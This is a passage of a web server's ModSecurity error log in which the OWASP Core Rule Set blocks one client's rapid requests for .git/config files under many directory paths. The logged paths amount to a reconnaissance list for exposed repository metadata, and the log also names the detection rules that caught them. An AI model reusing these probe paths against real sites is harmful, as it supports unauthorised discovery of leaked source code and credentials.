&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VegAAAA8&quot;]
[Thu Jan 16 14:20:45.732370 2025] [:error] [pid 510637] [client 45.135.232.70:49324] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VegAAAA8&quot;]
[Thu Jan 16 14:20:45.732688 2025] [:error] [pid 510637] [client 45.135.232.70:49324] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VegAAAA8&quot;]
[Thu Jan 16 14:20:45.733987 2025] [:error] [pid 500653] [client 45.135.232.70:49368] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/mailjet/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mailjet/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDwAAAAE&quot;]
[Thu Jan 16 14:20:45.734276 2025] [:error] [pid 510629] [client 45.135.232.70:49386] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2QAAAAw&quot;]
[Thu Jan 16 14:20:45.734514 2025] [:error] [pid 500653] [client 45.135.232.70:49368] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mailjet/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDwAAAAE&quot;]
[Thu Jan 16 14:20:45.734560 2025] [:error] [pid 510629] [client 45.135.232.70:49386] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2QAAAAw&quot;]
[Thu Jan 16 14:20:45.734750 2025] [:error] [pid 510629] [client 45.135.232.70:49386] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2QAAAAw&quot;]
[Thu Jan 16 14:20:45.734927 2025] [:error] [pid 500653] [client 45.135.232.70:49368] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mailjet/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDwAAAAE&quot;]
[Thu Jan 16 14:20:45.735395 2025] [:error] [pid 510616] [client 45.135.232.70:49398] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/core/services/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PQAAAAo&quot;]
[Thu Jan 16 14:20:45.740647 2025] [:error] [pid 501744] [client 45.135.232.70:49352] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/mail-service/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mail-service/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIQAAAAY&quot;]
[Thu Jan 16 14:20:45.740901 2025] [:error] [pid 501744] [client 45.135.232.70:49352] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mail-service/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIQAAAAY&quot;]
[Thu Jan 16 14:20:45.741089 2025] [:error] [pid 501744] [client 45.135.232.70:49352] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/mail-service/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIQAAAAY&quot;]
[Thu Jan 16 14:20:45.747769 2025] [:error] [pid 510615] [client 45.135.232.70:49418] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uQAAAAk&quot;]
[Thu Jan 16 14:20:45.747967 2025] [:error] [pid 510615] [client 45.135.232.70:49418] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uQAAAAk&quot;]
[Thu Jan 16 14:20:45.748132 2025] [:error] [pid 510615] [client 45.135.232.70:49418] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uQAAAAk&quot;]
[Thu Jan 16 14:20:45.748221 2025] [:error] [pid 507252] [client 45.135.232.70:49374] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/notification/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/notification/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNtAAAAAc&quot;]
[Thu Jan 16 14:20:45.748951 2025] [:error] [pid 507252] [client 45.135.232.70:49374] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/notification/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNtAAAAAc&quot;]
[Thu Jan 16 14:20:45.749438 2025] [:error] [pid 507252] [client 45.135.232.70:49374] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/notification/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNtAAAAAc&quot;]
[Thu Jan 16 14:20:45.805023 2025] [:error] [pid 510617] [client 45.135.232.70:49420] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiMAAAAAs&quot;]
[Thu Jan 16 14:20:45.805359 2025] [:error] [pid 510617] [client 45.135.232.70:49420] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiMAAAAAs&quot;]
[Thu Jan 16 14:20:45.805574 2025] [:error] [pid 510617] [client 45.135.232.70:49420] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiMAAAAAs&quot;]
[Thu Jan 16 14:20:45.822923 2025] [:error] [pid 510631] [client 45.135.232.70:49564] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYQAAAA4&quot;]
[Thu Jan 16 14:20:45.823277 2025] [:error] [pid 510631] [client 45.135.232.70:49564] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYQAAAA4&quot;]
[Thu Jan 16 14:20:45.823508 2025] [:error] [pid 510631] [client 45.135.232.70:49564] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYQAAAA4&quot;]
[Thu Jan 16 14:20:45.850031 2025] [:error] [pid 511460] [client 45.135.232.70:49532] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wiki/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wiki/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fgAAAAA&quot;]
[Thu Jan 16 14:20:45.853269 2025] [:error] [pid 510616] [client 45.135.232.70:49570] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/custom-plugin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/custom-plugin/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PgAAAAo&quot;]
[Thu Jan 16 14:20:45.853898 2025] [:error] [pid 510616] [client 45.135.232.70:49570] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/custom-plugin/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PgAAAAo&quot;]
[Thu Jan 16 14:20:45.854343 2025] [:error] [pid 510616] [client 45.135.232.70:49570] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/custom-plugin/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PgAAAAo&quot;]
[Thu Jan 16 14:20:45.857746 2025] [:error] [pid 500655] [client 45.135.232.70:49462] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /tools/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhwAAAAM&quot;]
[Thu Jan 16 14:20:45.858075 2025] [:error] [pid 500655] [client 45.135.232.70:49462] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhwAAAAM&quot;]
[Thu Jan 16 14:20:45.858369 2025] [:error] [pid 500655] [client 45.135.232.70:49462] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhwAAAAM&quot;]
[Thu Jan 16 14:20:45.858590 2025] [:error] [pid 510629] [client 45.135.232.70:49506] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2gAAAAw&quot;]
[Thu Jan 16 14:20:45.858949 2025] [:error] [pid 510629] [client 45.135.232.70:49506] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2gAAAAw&quot;]
